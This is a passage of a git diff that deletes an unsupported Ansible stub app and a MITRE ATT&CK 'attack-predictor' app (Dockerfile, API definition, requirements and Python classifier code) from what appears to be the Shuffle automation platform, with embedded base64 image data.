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 diff --git a/unsupported/ansible/1.0.0/requirements.txt b/unsupported/ansible/1.0.0/requirements.txt deleted file mode 100644 index 7b2bf77e..00000000 --- a/unsupported/ansible/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -ansible==4.8.0 diff --git a/unsupported/ansible/1.0.0/src/app.py b/unsupported/ansible/1.0.0/src/app.py deleted file mode 100644 index 8395adea..00000000 --- a/unsupported/ansible/1.0.0/src/app.py +++ /dev/null @@ -1,28 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import ansible.runner - -from walkoff_app_sdk.app_base import AppBase - -class Ansible(AppBase): - __version__ = "1.0.0" - app_name = "ansible" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def run_playbook(self, playbook): - filedata = self.get_file(playbook) - return filedata - -if __name__ == "__main__": - Ansible.run() diff --git a/unsupported/attack-predictor/1.0.0/Dockerfile b/unsupported/attack-predictor/1.0.0/Dockerfile deleted file mode 100644 index 3fc82ce6..00000000 --- a/unsupported/attack-predictor/1.0.0/Dockerfile +++ /dev/null @@ -1,28 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk add py3-numpy py3-pandas@testing -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -#RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/unsupported/attack-predictor/1.0.0/api.yaml b/unsupported/attack-predictor/1.0.0/api.yaml deleted file mode 100644 index a9f22f54..00000000 --- a/unsupported/attack-predictor/1.0.0/api.yaml +++ /dev/null @@ -1,40 +0,0 @@ -app_version: 1.0.0 -name: Attack Predictor -description: An app to predict Attack Techniques and Tactics from plain text. Based on rcATT -contact_info: - name: "@frikkylikeme" - url: https://github.com/vlegoy/rcATT - email: frikky@shuffler.io -tags: - - Testing -categories: - - Testing -actions: - - name: predict - description: Predicts the - parameters: - - name: data - description: The data to predict - required: true - multiline: true - example: 'REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry. Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.' - schema: - type: string - returns: - schema: - type: string - - name: predict_file_content - description: Predicts the - parameters: - - name: file_id - description: The file to predict - required: true - multiline: false - example: '24b5f1e8-3165-4af4-96ab-877d3581242e' - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/jpg;base64,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 diff --git a/unsupported/attack-predictor/1.0.0/requirements.txt b/unsupported/attack-predictor/1.0.0/requirements.txt deleted file mode 100644 index 2a46021e..00000000 --- a/unsupported/attack-predictor/1.0.0/requirements.txt +++ /dev/null @@ -1,7 +0,0 @@ -colorama==0.4.4 -joblib==0.14.1 -nltk==3.4.5 -numpy==1.17.4 -pandas==0.25.3 -#scikit-learn==0.22.2.post1 -stix2==1.2.1 diff --git a/unsupported/attack-predictor/1.0.0/src/app.py b/unsupported/attack-predictor/1.0.0/src/app.py deleted file mode 100644 index abe09023..00000000 --- a/unsupported/attack-predictor/1.0.0/src/app.py +++ /dev/null @@ -1,139 +0,0 @@ -import socket -import asyncio -import time -import random -import json - -import sys -import getopt -import joblib -import json -from shutil import copyfile -from colorama import init, Fore, Back, Style -from operator import itemgetter - -import classification_tools.preprocessing as prp -import classification_tools.postprocessing as pop -import classification_tools.save_results as sr -import classification_tools as clt - -from walkoff_app_sdk.app_base import AppBase - -# 1. Generate the api.yaml based on downloaded files -# 2. Add a way to choose the rule and the target platform for it -# 3. Add the possibility of translating rules back and forth - -# 4. Make it so you can start with Mitre Att&ck techniques -# and automatically get the right rules set up with your tools :O -class rcATT(AppBase): - __version__ = "1.0.0" - app_name = "attack-predictor" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - - def save_stix_file(report, title, date, ttps, output_file): - """ - Save prediction in a JSON file under STIX format - """ - if(date == ''): - date = "1970-01-01" - references = [] - for key in ttps: - if key in clt.ALL_TTPS: - references.append(clt.STIX_IDENTIFIERS[clt.ALL_TTPS.index(key)]) - file_to_save = sr.save_results_in_file(report, title, date, references) - copyfile(file_to_save, output_file) - - - report_to_predict = "" - - def get_prediction(self, data): - report_to_predict = prp.remove_u(data) - - # load postprocessingand min-max confidence score for both tactics and techniques predictions - parameters = joblib.load("classification_tools/data/configuration.joblib") - min_prob_tactics = parameters[2][0] - max_prob_tactics = parameters[2][1] - min_prob_techniques = parameters[3][0] - max_prob_techniques = parameters[3][1] - - pred_tactics, predprob_tactics, pred_techniques, predprob_techniques = clt.predict(report_to_predict, parameters) - - # change decision value into confidence score to display - for i in range(len(predprob_tactics[0])): - conf = (predprob_tactics[0][i] - min_prob_tactics) / (max_prob_tactics - min_prob_tactics) - if conf < 0: - conf = 0.0 - elif conf > 1: - conf = 1.0 - predprob_tactics[0][i] = conf*100 - for j in range(len(predprob_techniques[0])): - conf = (predprob_techniques[0][j] - min_prob_techniques) / (max_prob_techniques - min_prob_techniques) - if conf < 0: - conf = 0.0 - elif conf > 1: - conf = 1.0 - predprob_techniques[0][j] = conf*100 - - #prepare results to display - ttps = [] - to_print_tactics = [] - to_print_techniques = [] - for ta in range(len(pred_tactics[0])): - if pred_tactics[0][ta] == 1: - ttps.append(clt.CODE_TACTICS[ta]) - to_print_tactics.append([1, clt.NAME_TACTICS[ta], predprob_tactics[0][ta]]) - else: - 